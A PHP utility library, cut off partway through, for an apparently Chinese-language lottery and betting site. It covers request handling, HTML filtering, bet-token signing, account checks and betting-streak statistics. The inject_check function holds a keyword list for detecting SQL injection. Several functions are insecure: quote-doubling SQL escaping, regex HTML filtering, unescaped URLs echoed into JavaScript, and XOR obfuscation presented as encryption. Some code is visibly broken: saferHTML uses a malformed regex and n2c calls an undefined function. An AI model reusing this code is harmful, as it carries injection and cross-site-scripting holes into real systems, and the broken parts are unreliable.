<?php

function getmicrotime()
{
    list( $usec , $sec ) = explode(" " , microtime());
    return (double)$usec + (double)$sec;
}

function GetVar($var)
{
    if ( isset($_POST[$var]) )
    {
        return getslashes($_POST[$var]);
    }
    if ( isset($_GET[$var]) )
    {
        return getslashes($_GET[$var]);
    }
    if ( isset($_COOKIE[$var]) )
    {
        return getslashes($_COOKIE[$var]);
    }
    return "";
}

function redirect($url)
{
    if ( ! headers_sent() )
    {
        header("Location: ".$url);
    }
    else
    {
        echo "<script language=\"javascript\">window.location.href=\"".$url."\";</script>";
    }
    exit();
}

function disablecache()
{
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
    header("Cache-Control: no-store, no-cache, must-revalidate");
    header("Cache-Control: post-check=0, pre-check=0" , false);
    header("Pragma: no-cache");
}

function sqlencode($s)
{
    return str_replace("'" , "''" , $s);
}

function safeHTML($text)
{
    $text = stripslashes($text);
    $text = preg_replace("/<a[^>]+href *= *([^ >]+)[^>]*[>]?/ui" , "<a href=\\1>" , $text);
    $text = preg_replace("/<img[^>]+src *= *([^ >]+)[^>]*>/ui" , "<img src=\\1 alt=\"\" border=\"0\">" , $text);
    $text = preg_replace("/<(abbr|acronym|b|big|blockquote|center|code|dd|del|dl|dt|em|h1|h2|h3|h4|h5|h6|hr|i|ins|kbd|li|ol|p|pre|q|s|samp|small|strike|strong|sub|sup|tt|u|ul|var) +[^>]*>/ui" , "<\\1>" , $text);
    $text = preg_replace("/<(br)[ ]*[^>]*>/ui" , "<\\1 />" , $text);
    return $text;
}

function saferHTML($text)
{
    $text = stripslashes($text);
    $text = strip_tags($text , "<a><b><em><i><strong><u>");
    $text = preg_replace("/<a[^>]+href *= *([^ >]+)[^>]*[>]?/ui" , "<a href=\\1>" , $text);
    $text = preg_replace("/<(b|em|i|strong|u) +[^>]*>" , "<\\1>/ui" , $text);
    return $text;
}

function sh($string)
{
    return htmlspecialchars(stripslashes($string));
}

function se($string , $charset = "UTF-8")
{
    return htmlentities(stripslashes($string) , ENT_COMPAT , $charset);
}

function diemsg($msg , $desc = "" , $returnurl = "")
{
    global $gametype;
    global $g_init_mode_3d;
    global $g_init_mode_6h;
    global $g_conf;
    $gametype = intval($gametype);
    //@ob_clean();
    if ( ! class_exists("UI") )
    {
        echo "错误:".$msg." - ".$desc;
        exit();
    }
    if ( $g_init_mode_6h )
    {
        $gametype = 0;
    }
    else if ( $gametype == 0 )
    {
        $gametype = 1;
    }
    switch ( $gametype )
    {
        case 0 :
            $ui = new UI();
            break;
        default :
            $ui = new UI_3D();
            $ui->header();
            break;
    }
    if ( isset($_SESSION['uid']) )
    {
        $ui->set("pos1" , "<a href=\"?op=core&fp=logout\" target=\"_top\" class=whitelink>".L_LOGOUT."</a>");
    }
    $ui->load("err" , "error.htm");
    $ui->set("title" , L_ERROR);
    $ui->set("message" , $msg);
    if ( $desc != "" )
    {
        $ui->set("desc" , $desc);
    }
    $ui->set("buttons" , $returnurl == ""?"<input type=button value='".L_BACK."' onclick='history.back()'>":"<input type=button value='".L_BACK."' onclick='location.replace(\"".$returnurl."\")'>" );
    $ui->show("err");
    $ui->footer();
    $str = ob_get_contents();
    ob_end_clean();
    echo $str;
    exit();
}

function succmsg($msg , $url = "")
{
    echo "<table width=\"100%\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\">";
    echo "<tr><td bgcolor=green><font color=white>".L_MESSENGER."</font></td></tr>";
    echo "<tr><td bgcolor=green>";
    echo "<table width=\"100%\" cellpadding=4 cellspacing=0 border=0>";
    echo "<tr><td bgcolor=white>".$msg."</td></tr>";
    if ( $url == "" )
    {
        echo "<tr><td bgcolor=white><input type=button value='".L_BACK."' onclick='history.back()'></td></tr>";
    }
    else
    {
        echo "<tr><td bgcolor=white><input type=button value='".L_BACK."' onclick='location.replace(\"".$url."\")'></td></tr>";
    }
    echo "</table>";
    echo "</table>";
    exit();
}

function isemail($email)
{
    if ( strstr($email , "@") && strstr($email , ".") && eregi("^([_a-z0-9]+([\\._a-z0-9-]+)*)@([a-z0-9]{2,}(\\.[a-z0-9-]{2,})*\\.[a-z]{2,3})\$" , $email) )
    {
        return true;
    }
    return false;
}

function jsAlert($str)
{
    global $g_conf;
    header("content=text/html; charset=utf-8");
    echo "<script>alert(\"".str_replace("\"" , "\\\"" , $str)."\");</script>";
}

function vdump($obj)
{
    foreach ( $obj as $k => $v )
    {
        echo "<li>".$k." => ".$v;
        if ( is_array($v) )
        {
            echo "<ul>".vdump($v)."</ul>";
        }
    }
}

function trimzero($dec)
{
    $tmp = "{$dec}";
    if ( strlen($tmp) == 0 )
    {
        return "";
    }
    $r = substr($tmp , strlen($tmp) - 1);
    while ( $r == "0" )
    {
        $tmp = substr($tmp , 0 , strlen($tmp) - 1);
        $r = substr($tmp , strlen($tmp) - 1);
    }
    if ( substr($tmp , strlen($tmp) - 1) == "." )
    {
        $tmp = substr($tmp , 0 , strlen($tmp) - 1);
    }
    return $tmp;
}

function n2c($number)
{
    $chinese = array ( "1" => "壹" , "2" => "贰" , "3" => "参" , "4" => "肆" , "5" => "伍" , "6" => "陆" , "7" => "柒" , "8" => "捌" , "9" => "玖" , "0" => "零" );
    $length = array ( "1" => "" , "2" => "拾" , "3" => "佰" , "4" => "仟" );
    $buffer = "";
    $order = array ( "" , "" , "万" , "亿" , "兆" , "京" , "垓" , "秭" , "穰" , "沟" , "涧" , "正" , "载" , "极" , "恒河沙" , "阿僧只" , "那由他" , "不可思议" , "无量" , "大数" );
    if ( 4 < strlen($number) )
    {
        $len = strlen($number);
        $time = $len % 4 != 0?(integer)( $len / 4 + 1 ):$len / 4;
        $n = 1;
        $m = 0 - 4;
        while ( $n <= $time )
        {
            if ( $n == $time )
            {
                $foo = number2chinese(substr($number , 0 , 0 - 4 * ( $time - 1 )));
            }
            else
            {
                $foo = number2chinese(substr($number , $m , 4));
            }
            if ( $foo )
            {
                $buffer = $foo.$order[$n].$buffer;
            }
            $m = $m - 4;
            ++ $n;
        }
        if ( eregi("^零" , $buffer) )
        {
            $buffer = preg_replace("(^[零]{1,})([^零]{0,})" , "\\2" , $buffer);
        }
        return $buffer;
    }
    if ( strlen($number) == 0 || eregi("^0{1,}\$" , $number) )
    {
        return "";
    }
    $first = substr($number , 0 - strlen($number) , 1);
    $buffer .= $chinese[$first];
    if ( $first != 0 )
    {
        $buffer .= $length[strlen($number)];
    }
    if ( eregi("^0" , $number) )
    {
        $buffer .= number2chinese(preg_replace("(^0{1,})([1-9]{0,})" , "\\2" , $number));
    }
    else
    {
        $buffer .= number2chinese(substr($number , 1));
    }
    return $buffer;
}

function isIDnum($num)
{
    if ( preg_match("/^[a-zA-Z][12][0-9]{8}$/" , $num , $r) )
    {
        $x = 10 + strpos("abcdefghjklmnpqrstuvxywzio" , strtolower($num[0]));
        $chksum = ( $x - $x % 10 ) / 10 + $x % 10 * 9;
        $i = 1;
        while ( $i < 9 )
        {
            $chksum += $num[$i] * ( 9 - $i );
            ++ $i;
        }
        $chksum = ( 10 - $chksum % 10 ) % 10;
        if ( $chksum == $num[9] )
        {
            return true;
        }
    }
    return false;
}

function GzDocOut($Contents)
{
    $level = 3;
    if ( headers_sent() )
    {
        echo $Contents;
        exit();
    }
    if ( ! function_exists("gzcompress") )
    {
        echo $Contents;
        exit();
    }
    if ( ! function_exists("crc32") )
    {
        echo $Contents;
        exit();
    }
    if ( eregi("x-gzip" , $_SERVER['HTTP_ACCEPT_ENCODING']) )
    {
        $encode = "x-gzip";
    }
    else if ( eregi("gzip" , $_SERVER['HTTP_ACCEPT_ENCODING']) )
    {
        $encode = "gzip";
    }
    else
    {
        echo $Contents;
        exit();
    }
    $magic = substr($Contents , 0 , 4);
    if ( substr($magic , 0 , 2) === "^_" )
    {
        echo $Contents;
        exit();
    }
    else if ( substr($magic , 0 , 3) === "GIF" )
    {
        echo $Contents;
        exit();
    }
    else if ( substr($magic , 0 , 2) === "?" )
    {
        echo $Contents;
        exit();
    }
    else if ( substr($magic , 0 , 4) === "?NG" )
    {
        echo $Contents;
        exit();
    }
    else if ( substr($magic , 0 , 3) === "FWS" )
    {
        echo $Contents;
        exit();
    }
    else if ( substr($magic , 0 , 2) === "PK" )
    {
        echo $Contents;
        exit();
    }
    header("Content-Encoding: ".$encode);
    $Contents = gzencode($Contents);
    echo $Contents;
    exit();
}

function d2($int)
{
    $a = "";
    if ( $int === "" )
    {
        return $a;
    }
    $int = intval($int);
    return str_pad($int , 2 , "0" , STR_PAD_LEFT);
}

function mkdirs($pathname , $mode = 511)
{
    $dir = split("/" , $pathname);
    $path = "";
    $i = 0;
    while ( $i < count($dir) )
    {
        $path .= $dir[$i]."/";
        if ( ! is_dir($path) )
        {
            @mkdir(@$path , @$mode);
        }
        ++ $i;
    }
    return is_dir($pathname);
}

function IsPost()
{
    return $_SERVER['REQUEST_METHOD'] == "POST";
}

function d3($d)
{
    $d = intval($d);
    return str_pad($d , 3 , "0" , STR_PAD_LEFT);
}
function n3($d)
{
    $d = substr($d,strlen($d)-3,3);
    return d3($d);
}
function n4($d)
{
	$a=explode('-',$d);
    $d = $a[count($a)-1];
    return sprintf('%03d',$d);
}
function get_uri()
{
    if ( isset($_SERVER['REQUEST_URI']) )
    {
        return getslashes($_SERVER['REQUEST_URI']);
    }
    $uri = getslashes($_SERVER['SCRIPT_NAME']);
    if ( isset($_SERVER['QUERY_STRING']) )
    {
        $uri .= "?".getslashes($_SERVER['QUERY_STRING']);
    }
    return $uri;
}

function getslashes($content)
{
    if ( ! get_magic_quotes_gpc() )
    {
        $content = addslashes($content);
    }
    $i = 0;
    while ( $i < strlen($content) )
    {
        $cl = substr($content , $i , 1);
        if ( $cl == "'" || $cl == "\"" || $cl == "<" || $cl == "/" )
        {
            $content = "";
        }
        ++ $i;
    }
    return $content;
}

function zero($a , $b)
{
    $op = 0;
    if ( $a != 0 && $b != 0 )
    {
        $op = $a / $b;
    }
    return $op;
}

function enBetSessid($betArr)
{
    include( "./#inc/001.php" );
    $reVal = "";
    $numbers = substr($betArr['numbers'] , 1 , 0 - 1);
    $numbers = 6 < strlen($numbers)?substr($numbers , 0 , 6):$numbers;
    $sidStr = "";
    $sidStr = substr($betArr['createtime'] , 0 - 4).str_pad($betArr['bettype'] , 2 , "0" , STR_PAD_LEFT).substr(sprintf("%08.2f" , $betArr['rate']) , 0 - 8).$numbers.";".$betArr['amount'].";".$betArr['user_id'].";".$betArr['lotto_id'];
    $rnd = rand(0 , 14);
    $myK = $g_chkKeyArr[$rnd];
    $xorEncryptStr = XOREncrypt($sidStr , $myK);
    $putPo = ord(substr($xorEncryptStr , 0 , 1)) % 15;
    $putPo = $putPo == 0?1:$putPo;
    $keyChr = $rnd + 65;
    $reVal = substr($xorEncryptStr , 0 , $putPo).chr($keyChr).substr($xorEncryptStr , $putPo);
    return $reVal;
}

function dnBetSessid($sidStr)
{
    include( "./#inc/001.php" );
    $putPo = ord(substr($sidStr , 0 , 1)) % 15;
    $putPo = $putPo == 0?1:$putPo;
    $rndChr = substr($sidStr , $putPo , 1);
    $rnd = ord($rndChr) - 65;
    $myK = $g_chkKeyArr[$rnd];
    $putPo2 = $putPo + 1;
    $sidStrOK = substr($sidStr , 0 , $putPo).substr($sidStr , $putPo2);
    $mySidStr = XORDecrypt($sidStrOK , $myK);
    $betArr = array ( );
    $betArr['createtime'] = substr($mySidStr , 0 , 4);
    $betArr['bettype'] = intval(substr($mySidStr , 4 , 2));
    $betArr['rate'] = floatval(substr($mySidStr , 6 , 8));
    $tempStr = substr($mySidStr , 14);
    $sidArr = explode(";" , $tempStr);
    if ( count($sidArr) != 4 )
    {
        return false;
    }
    $betArr['numbers'] = $sidArr[0];
    $betArr['amount'] = $sidArr[1];
    $betArr['user_id'] = $sidArr[2];
    $betArr['lotto_id'] = $sidArr[3];
    return $betArr;
}

function chkBetSessid($betArr , $sidStr)
{
    $sidArr = dnbetsessid($sidStr);
    if ( $sidArr !== false )
    {
        $numbers = 6 < strlen($betArr['numbers'])?substr($betArr['numbers'] , 0 , 6):$betArr['numbers'];
        if ( $numbers != $sidArr['numbers'] )
        {
            return "-7";
        }
        if ( substr($betArr['createtime'] , 0 - 4) != $sidArr['createtime'] )
        {
            return "-1";
        }
        if ( str_pad($betArr['bettype'] , 2 , "0" , STR_PAD_LEFT) != $sidArr['bettype'] )
        {
            return "-2";
        }
        if ( substr(sprintf("%08.2f" , $betArr['rate']) , 0 - 8) != $sidArr['rate'] )
        {
            return "-3";
        }
        if ( $betArr['amount'] != $sidArr['amount'] )
        {
            return "-4";
        }
        if ( $betArr['user_id'] != $sidArr['user_id'] )
        {
            return "-5";
        }
        if ( $betArr['lotto_id'] != $sidArr['lotto_id'] )
        {
            return "-6";
        }
        return "1";
    }
    return "0";
}

function getSessidStatus($id = 0)
{
    $ret = array ( "无验证码" , "下注时间" , "玩法异常" , "赔率异常" , "金额异常" , "会员异常" , "期数异常" , "号码异常" );
    if ( intval($id) == 1 )
    {
        return "";
    }
    return $ret[intval($id) * ( 0 - 1 )];
}

function XOREncryption($InputString , $KeyPhrase)
{
    $KeyPhraseLength = strlen($KeyPhrase);
    $i = 0;
    while ( $i < strlen($InputString) )
    {
        $rPos = $i % $KeyPhraseLength;
        $r = ord($InputString[$i]) ^ ord($KeyPhrase[$rPos]);
        $InputString[$i] = chr($r);
        ++ $i;
    }
    return $InputString;
}

function XOREncrypt($InputString , $KeyPhrase)
{
    $InputString = xorencryption($InputString , $KeyPhrase);
    $InputString = base64_encode($InputString);
    return $InputString;
}

function XORDecrypt($InputString , $KeyPhrase)
{
    $InputString = base64_decode($InputString);
    $InputString = xorencryption($InputString , $KeyPhrase);
    return $InputString;
}

function inject_check($sql_str)
{
    $check = eregi("select|insert|update|delete|'|\\/\\*|\\*|\\.\\.\\/|\\.\\/|union|into|load_file|outfile" , $sql_str);
    if ( $check )
    {
        @ob_clean();
        echo "-10039756";
        $sql_str = htmlspecialchars($sql_str , ENT_QUOTES);
        $sql_str = 190 < strlen($sql_str)?substr($sql_str , 0 , 190):$sql_str;
        write_exceptional_log(0 - 1 , 0 , 0 , "(-1)".$sql_str);
        exit();
    }
    else
    {
        return $sql_str;
    }
}

function chk_account($account)
{
    if ( $account == "" )
    {
        diemsg("请输入帐号！");
    }
    $account = trim($account);
    if ( strlen($account) < 6 || 16 < strlen($account) )
    {
        diemsg("帐号长度必须介於 6~16 码之间！");
    }
    if ( ctype_alpha($account) )
    {
        diemsg("帐号不可全为英文字母！");
    }
    if ( ctype_digit($account) )
    {
        diemsg("帐号不可全为数字！");
    }
    return $account;
}

function chk_pass($pass)
{
    if ( $pass == "" )
    {
        diemsg("请输入密码！");
    }
    $pass = trim($pass);
    if ( strlen($pass) < 6 || 16 < strlen($pass) )
    {
        diemsg("密码长度必须介於 6~16 码之间！");
    }
    if ( ctype_alpha($pass) )
    {
        diemsg("密码不可全为英文字母！");
    }
    if ( ctype_digit($pass) )
    {
        diemsg("密码不可全为数字！");
    }
    return $pass;
}

function systime()
{
    global $g_addTime;
    return time() + $g_addTime;
}

function getShow35($gametype = 0)
{
    global $g_n5GameArr;
    global $g_5number_3d;
    if ( $g_5number_3d && in_array($gametype , $g_n5GameArr) )
    {
        return true;
    }
    return false;
}

function getOptionList($gametype = 0 , $url = "")
{
    global $g_gametype_3d;
    global $g_menu_enabled;
    global $g_5number_3d;
    global $g_init_mode_6h;
    global $g_init_mode_3d;
    if ( $g_init_mode_3d )
    {
        if ( $url != "" )
        {
            $urlStr = "onchange=\"location.replace('{$url}&gametype='+this.value)\"";
        }
        else
        {
            $urlStr = "";
        }
        $gameTypeStr = "<select {$urlStr}>";
        $menuArr = $g_gametype_3d;
        if ( ! $g_init_mode_6h )
        {
            unset($menuArr[0]);
        }
        foreach ( $menuArr as $key => $val )
        {
            $chi = $val['ch'];
            $en = $val['en'];
            if ( $g_menu_enabled[$key] )
            {
                $gameTypeStr .= "<option class=paper{$en} value=".$key.( $gametype == $key?" selected":"" ).">";
            }
            
            $gameTypeStr .= $chi."</option>";
        }
        $gameTypeStr .= "</select>";
        return $gameTypeStr;
    }
    return "";
}

function getOptionXYList($xyid = 1 , $xyAllFlag = false , $url = "" , $sleID = "" , $sleName = "")
{
    $conf = new Config();
    $xyMode = intval($conf->get("5hxyMode"));
    $sleNameStr = $sleName?" name='{$sleName}' ":"";
    $sleIDStr = $sleID?" id='{$sleID}' ":"";
    if ( $url != "" )
    {
        $urlStr = "onchange=\"location.replace('{$url}&xyid='+this.value)\"";
    }
    else
    {
        $urlStr = "";
    }
    if ( $xyMode )
    {
        $xyTypeStr = "<select {$sleNameStr} {$sleIDStr} {$urlStr}>";
        if ( $xyAllFlag )
        {
            $xyTypeStr .= "<option value='-1'".( $xyid == 0 - 1?" selected":"" ).">X+Y盘</option>";
        }
        $xyTypeStr .= "<option value='1'".( $xyid == 1?" selected":"" ).">X盘</option>";
        $xyTypeStr .= "<option value='2'".( $xyid == 2?" selected":"" ).">Y盘</option>";
        $xyTypeStr .= "</select>";
        return $xyTypeStr;
    }
    return "X 盘".( $sleName || $sleID?"<input type='hidden' value='1' {$sleNameStr} {$sleIDStr} />":"" );
}

function chkGametype($gametype)
{
    global $g_menu_enabled;
    global $g_gametype_3d;
    $chkGame = intval($gametype);
    if ( $gametype == 0 )
    {
        return 0;
    }
    if ( isset($g_menu_enabled[$gametype] , $g_gametype_3d[$gametype]) )
    {
        return $g_gametype_3d[$gametype]['type'];
    }
    exit("error gametype");
}

function judge_type($gametype , $version = false)
{
    global $g_gametype_3d,$_sb_Arr;
    if ( $g_gametype_3d[$gametype]['type'] == 3 )
    {
        return judge_type78($gametype);
    }
	elseif ( $g_gametype_3d[$gametype]['type'] == 4 )
		return $_sb_Arr;	
    return judge_type0to6($gametype , $version);
}

function judge_type78($gametype)
{
    global $g_betname_5h;
    global $g_bet4subArr;
    global $g_gametype_3d;
    if ( $gametype == 24 )
    {
        $subidArr = array ( "" , "冠军" , "亚军" , "季军" , "第四" , "第五" , "第六" , "第七" , "第八" , "第九" , "第十" );
    }
    else if ( $g_gametype_3d[$gametype]['en'] == "5h" )
    {
        $subidArr = array ( "" , "平一" , "平二" , "平三" , "平四" , "特码" );
    }
    else
    {
        $subidArr = array ( "" , "第一球" , "第二球" , "第三球" , "第四球" , "第五球" , "第六球" , "第七球" , "第八球" );
    }
    $five_array = array ( );
	
    foreach ( $g_betname_5h[$gametype] as $key => $val )
    {
        if ( in_array($key , $g_bet4subArr[$gametype]) )
        {
            $i = 1;
            $number = count($subidArr);
            while ( $i < $number )
            {
                $index = $key."_".$i;
                if ( $key == 0 )
                {
                    $five_array[$index] = $subidArr[$i];
                }
                else
                {
                    $five_array[$index] = $subidArr[$i].$val;
                }
                ++ $i;
            }
        }
        $index = $key."_"."0";
        $five_array[$index] = $val;
    }
    return $five_array;
}

function judge_type0to6($gametype , $version = false)
{
    global $g_betname_3d;
    global $g_5number_3d;
    global $g_onlyN5Arr;
    global $g_n3n5Arr;
    global $g_N5_not_N3Arr;
    global $g_gametype_3d;
    $myBetname = $g_betname_3d;
    if ( $g_gametype_3d[$gametype]['type'] == 2 )
    {
        unset($myBetname[46]);
        unset($myBetname[21]);
    }
    $three_array = array ( );
    $five_array = array ( );
    $nameArr = array ( "後三" , "中三" , "前三" );
    if ( $g_5number_3d )
    {
        if ( $g_gametype_3d[$gametype]['type'] == 2 && $g_gametype_3d[$gametype]['en'] != "3s1" )
        {
            if ( $version )
            {
                foreach ( $g_N5_not_N3Arr as $val )
                {
                    $myBetname[$val] = "此玩法只适用3码版本";
                }
            }
            else
            {
                foreach ( $g_N5_not_N3Arr as $val )
                {
                    unset($myBetname[$val]);
                }
            }
            foreach ( $myBetname as $key => $val )
            {
                if ( in_array($key , $g_n3n5Arr) )
                {
                    for ( $i = 2; -1 < $i; $i --  )
                    {
                        $index = $key."_".$i;
                        $five_array[$index] = $nameArr[$i].$val;
                    }
                }
                else
                {
                    $index = $key."_"."0";
                    $five_array[$index] = $val;
                }
            }
            return $five_array;
        }
        foreach ( $g_onlyN5Arr as $val )
        {
            unset($myBetname[$val]);
        }
        foreach ( $myBetname as $key => $val )
        {
            $index = $key."_"."0";
            $three_array[$index] = $val;
        }
        return $three_array;
    }
    if ( $version )
    {
        foreach ( $g_onlyN5Arr as $val )
        {
            $myBetname[$val] = "此玩法只适用5码版本";
        }
    }
    else
    {
        foreach ( $g_onlyN5Arr as $val )
        {
            unset($myBetname[$val]);
        }
    }
    foreach ( $myBetname as $key => $val )
    {
        $index = $key."_"."0";
        $three_array[$index] = $val;
    }
    if ( $version )
    {
        foreach ( $g_n3n5Arr as $val )
        {
            $index = $val."_"."1";
            $three_array[$index] = "此玩法只适用5码版本";
            $index = $val."_"."2";
            $three_array[$index] = "此玩法只适用5码版本";
        }
    }
    return $three_array;
}

function getPaperMinDate($masterEnabled = 1 , $acl = 0)
{
    global $conf;
    global $curruser;
    if ( $acl == 0 )
    {
        $acl = $curruser['acl'];
    }
    $fireDayOfMon = date("Y-m")."-01";
    $paper_from_date = $conf->Get("paper_from_date");
    if ( $paper_from_date === "" )
    {
        $paper_from_date = $fireDayOfMon;
        $conf->Set("paper_from_date" , $paper_from_date);
    }
    if ( $acl == 1 )
    {
        $page_max_count = intval($conf->Get("page_max_count"));
    }
    else
    {
        $page_max_count = intval($conf->Get("page_max_count_ag"));
    }
    $page_max_count = 10 < $page_max_count?90:$page_max_count;
    $page_max_countTime = strtotime("-{$page_max_count} day");
    if ( date("Hi") < "0220" )
    {
        $page_max_countTime = $page_max_countTime - 86400;
    }
    $paper_from_dateTime = strtotime($paper_from_date);
    if ( $page_max_countTime < $paper_from_dateTime )
    {
        return date("Y-m-d" , $paper_from_dateTime);
    }
    return date("Y-m-d" , $page_max_countTime);
}

function two_long($gametype , $on = true , $round = 0)
{
    if ( $round == 0 || $gametype==25 || $gametype==26)
    {
        return array ( );
    }
    global $g_5number_3d;
    global $g_gametype_3d;

    if ( $g_gametype_3d[$gametype]['type'] == 3 )
    {
        return two_long_78($gametype , $on , $round);
    }
    return two_long_16($gametype , $on , $round);
}

function two_long_16($gametype , $on = true , $round = 0)
{
    if ( $round == 0 )
    {
        return array ( );
    }
    global $g_gametype_3d;
    global $g_5number_3d;
    $rs = getdb("SELECT * FROM lotto_".$g_gametype_3d[$gametype]['en']." WHERE open != '0000-00-00' AND n1 > -1 ORDER BY open DESC,round DESC limit 20");
    $OK = array ( );
    $temp = "";
    if ( $g_5number_3d && 10 < $gametype )
    {
        while ( ! $rs->eof )
        {
            $n5 = $rs->f['n5'];
            $n4 = $rs->f['n4'];
            $n3 = $rs->f['n3'];
            $n2 = $rs->f['n2'];
            $n1 = $rs->f['n1'];
            $total = $n5 + $n4 + $n3 + $n2 + $n1;
            if ( $total == 0 || $total % 2 == 0 )
            {
                $total_sd = 2;
            }
            else
            {
                $total_sd = 1;
            }
            if ( 22 < $total )
            {
                $total_bs = 1;
            }
            else
            {
                $total_bs = 2;
            }
            if ( $n5 == $n1 )
            {
                $animal = 3;
            }
            else if ( $n1 < $n5 )
            {
                $animal = 1;
            }
            else
            {
                $animal = 2;
            }
            $i = 1;
            while ( $i < 4 )
            {
                $j = 1;
                while ( $j < 6 )
                {
                    $bettype = array ( 1 => "sd" , 2 => "bs" , 3 => "pc" );
                    $temp[$i."_".$j][] = $rs->f["p".$j.$bettype[$i]];
                    ++ $j;
                }
                ++ $i;
            }
            $temp['62_0'][] = $rs->f['r2a_p54sd'];
            $temp['63_0'][] = $rs->f['r2a_p53sd'];
            $temp['64_0'][] = $rs->f['r2a_p52sd'];
            $temp['65_0'][] = $rs->f['r2a_p51sd'];
            $temp['66_0'][] = $rs->f['r2a_p43sd'];
            $temp['67_0'][] = $rs->f['r2a_p42sd'];
            $temp['68_0'][] = $rs->f['r2a_p41sd'];
            $temp['17_0'][] = $rs->f['r2p0sd'];
            $temp['18_0'][] = $rs->f['r2p1sd'];
            $temp['19_0'][] = $rs->f['r2p2sd'];
            $temp['71_0'][] = $total_sd;
            $temp['72_0'][] = $total_bs;
            $temp['73_0'][] = $animal;
            $rs->movenext();
        }
        if ( is_array($temp) )
        {
            foreach ( $temp as $key => $value )
            {
                $key_1 = substr($key , 0 , 2);
                $add = 0;
                $add1 = 0;
                $add2 = 0;
                if ( $on )
                {
                    foreach ( $value as $value1 )
                    {
                        if ( $temp[$key][0] == $value1 )
                        {
 ++ $add;
                        }
                        else
                        {
                            break;
                            break;
                        }
                    }
                    $OK[$key."_".$temp[$key][0]] = $add;
                    unset($OK['73_0_3']);
                }
                else
                {
                    foreach ( $value as $value1 )
                    {
                        if ( $value1 != 1 )
                        {
 ++ $add1;
                        }
                        else
                        {
                            break;
                            break;
                        }
                    }
                    foreach ( $value as $value2 )
                    {
                        if ( $value2 != 2 )
                        {
 ++ $add2;
                        }
                        else
                        {
                            break;
                            break;
                        }
                    }
                    $OK[$key."_1"] = $add1;
                    $OK[$key."_2"] = $add2;
                    unset($OK[$key."_0"]);
                    unset($OK['73_0_3']);
                }
            }
        }
    }
    else
    {
        while ( ! $rs->eof )
        {
            $i = 1;
            while ( $i < 4 )
            {
                $j = 1;
                while ( $j < 4 )
                {
                    $bettype = array ( 1 => "sd" , 2 => "bs" , 3 => "pc" );
                    $temp[$i."_".$j][] = $rs->f["p".$j.$bettype[$i]];
                    ++ $j;
                }
                ++ $i;
            }
            $temp['17_0'][] = $rs->f['r2p0sd'];
            $temp['18_0'][] = $rs->f['r2p1sd'];
            $temp['19_0'][] = $rs->f['r2p2sd'];
            $temp['22_0'][] = $rs->f['p321bs'];
            $temp['23_0'][] = $rs->f['p321sd'];
            $rs->movenext();
        }
        if ( is_array($temp) )
        {
            foreach ( $temp as $key => $value )
            {
                $add = 0;
                $add1 = 0;
                $add2 = 0;
                if ( $on )
                {
                    foreach ( $value as $value1 )
                    {
                        if ( $temp[$key][0] == $value1 )
                        {
 ++ $add;
                        }
                        else
                        {
                            break;
                            break;
                        }
                    }
                    $OK[$key."_".$temp[$key][0]] = $add;
                }
                else
                {
                    foreach ( $value as $value1 )
                    {
                        if ( $value1 != 1 )
                        {
 ++ $add1;
                        }
                        else
                        {
                            break;
                            break;
                        }
                    }
                    foreach ( $value as $value2 )
                    {
                        if ( $value2 != 2 )
                        {
 ++ $add2;
                        }
                        else
                        {
                            break;
                            break;
                        }
                    }
                    $OK[$key."_1"] = $add1;
                    $OK[$key."_2"] = $add2;
                }
            }
        }
    }
    foreach ( $OK as $key => $value )
    {
        if ( $round <= $value )
        {
            $OK[$key] = $value;
        }
        else
        {
            unset($OK[$key]);
        }
    }
    return $OK;
}

function two_long_78($gametype , $on = true , $round = 0)
{
    if ( $round == 0 )
    {
        return array ( );
    }
    global $g_gametype_3d;
    if ( $gametype == 20 )
    {
        $bettype = 7;
        $number = 6;
    }
    else if ( $gametype == 24 )
    {
        $bettype = 3;
        $number = 11;
    }
    else
    {
        $bettype = 7;
        $number = 9;
    }
    $limit_r = $on?20:40;
    $rs = getdb("SELECT * FROM lotto_".$g_gametype_3d[$gametype]['en']." WHERE '".date("Y-m-d H:i:s")."' >= startbet AND open != '0000-00-00' AND n1 > 0 ORDER BY open DESC,openbet DESC limit {$limit_r}");
    $OK = array ( );
    $temp = "";
    while ( ! $rs->eof )
    {
        if ( $gametype == 24 )
        {
            $i = 1;
            while ( $i < $bettype )
            {
                $j = 1;
                while ( $j < $number )
                {
                    $temp[$i."_".$j][] = $rs->f["p".$j][$i - 1];
                    ++ $j;
                }
                ++ $i;
            }
            $temp['6_1'][] = $rs->f['p1'][3];
            $temp['6_2'][] = $rs->f['p2'][3];
            $temp['6_3'][] = $rs->f['p3'][3];
            $temp['6_4'][] = $rs->f['p4'][3];
            $temp['6_5'][] = $rs->f['p5'][3];
        }
        else
        {
            $i = 1;
            while ( $i < $bettype )
            {
                $j = 1;
                while ( $j < $number )
                {
                    $temp[$i."_".$j][] = $rs->f["p".$j][$i - 1];
                    ++ $j;
                }
                ++ $i;
            }
            if ( 20 < $gametype )
            {
                $temp['7_0'][] = $rs->f['p9'][0];
                $temp['8_0'][] = $rs->f['p9'][1];
                $temp['9_0'][] = $rs->f['p9'][2];
                $temp['18_0'][] = $rs->f['p9'][3];
            }
            else
            {
                $temp['7_0'][] = $rs->f['p6'][0];
                $temp['8_0'][] = $rs->f['p6'][1];
            }
        }
        $rs->movenext();
    }
    if ( is_array($temp) )
    {
        foreach ( $temp as $key => $value )
        {
            $key_1 = $key[0];
            $add = 0;
            $add1 = 0;
            $add2 = 0;
            $add3 = 0;
            $add4 = 0;
            if ( $on )
            {
                foreach ( $value as $value1 )
                {
                    if ( $temp[$key][0] == $value1 )
                    {
						++ $add;
                    }
                    else
                    {
                        break;
                    }
                }
                $OK[$key."_".$temp[$key][0]] = $add;
                if ( 20 < $gametype )
                {
                    unset($OK['8_0_0']);
                }
                else
                {
                    unset($OK[$key."_0"]);
                }
            }
            else if ( 20 < $gametype )
            {
				
                foreach ( $value as $value1 )
                {
                    if ( $value1 != 1 )
                    {
						++ $add1;
                    }
                    else
                    {
                        break;
                    }
                }
                foreach ( $value as $value2 )
                {
                    if ( $value2 != 2 )
                    {
						++ $add2;
                    }
                    else
                    {
                        break;
                    }
                }
                foreach ( $value as $value3 )
                {
                    if ( $value3 != 3 )
                    {
						 ++ $add3;
                    }
                    else
                    {
                        break;
                    }
                }
                foreach ( $value as $value4 )
                {
                    if ( $value4 != 4 )
                    {
						 ++ $add4;
                    }
                    else
                    {
                        break;
                    }
                }
                if ( $key_1 == 5 )
                {
                    $OK[$key."_1"] = $add1;
                    $OK[$key."_2"] = $add2;
                    $OK[$key."_3"] = $add3;
